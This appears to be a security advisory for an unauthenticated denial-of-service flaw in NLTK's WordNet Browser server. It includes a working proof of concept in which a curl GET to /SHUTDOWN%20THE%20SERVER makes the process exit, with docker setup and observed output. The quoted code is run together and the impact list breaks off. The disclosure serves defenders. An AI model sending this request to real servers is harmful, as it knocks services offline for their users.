| Package | Affected versions | Patched versions |
|---|---|---|
| nltk | < 3.9.4 | 3.9.4 |
| nltk | ≤ 3.9.3 |
nltk.app.wordnet_app allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple GET /SHUTDOWN%20THE%20SERVER request causes the process to terminate immediately via os._exit(0), resulting in a denial of service.
The vulnerable logic is in nltk/app/wordnet_app.py:
server = HTTPServer(("", port), MyServerHandler)if unquote_plus(sp) == "SHUTDOWN THE SERVER":server_moderunBrowser=True, therefore server_mode=False), the handler terminates the process directly:os._exit(0)This means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.
docker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \
nltk-sandbox \
python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8004, True)"
curl -s -o /tmp/wn_before.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'
Observed result:
200
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freecurl -s -o /tmp/wn_shutdown.html -w '%{http_code}\n' 'http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER'
Observed result:
000
curl -s -o /tmp/wn_after.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'
docker ps -a --filter name=nltk-wordnet-web-default-retest --format '{{.Names}}\t{{.Status}}'
docker logs nltk-wordnet-web-default-retest
Observed results:
000
nltk-wordnet-web-default-retest Exited (0)
Server shutting down!
This is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.
Any reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:
This primarily affects users who run nltk.app.wordnet_app and expose or otherwise allow access to its listening port.